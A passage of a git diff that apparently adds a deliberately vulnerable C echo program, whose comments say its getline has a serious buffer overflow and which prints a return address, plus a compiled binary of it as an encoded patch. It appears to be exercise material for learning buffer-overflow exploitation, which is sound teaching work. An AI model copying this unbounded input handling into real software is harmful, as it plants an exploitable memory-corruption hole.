+  printf ("Return address content: 0x%08x\n", *ret);
+#endif
+
+  stringcopy(dst, line);
+
+  return ( strlen(line) > 1 );
+}
+
+/* Stupid program to echo every line you write to screen. And to make
+ * matter worse, getline have a serious buffer overflow. */
+int main (void)
+{
+  char msg[2000];
+  char quote = '"';
+  char endl = '\n';
+
+  while ( getline (msg) )
+  {
+    write (STDOUT_FILENO, &quote, 1);
+    write (STDOUT_FILENO, msg, strlen(msg));
+    write (STDOUT_FILENO, &quote, 1);
+    write (STDOUT_FILENO, &endl, 1);
+  }
+
+  return 0;
+}
\ No newline at end of file
diff --git a/src/examples/overflow_jordon b/src/examples/overflow_jordon
new file mode 100755
index 0000000000000000000000000000000000000000..9a0e505113b5e7aef48829bf848e58e44f8528e2
GIT binary patch
literal 37956
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
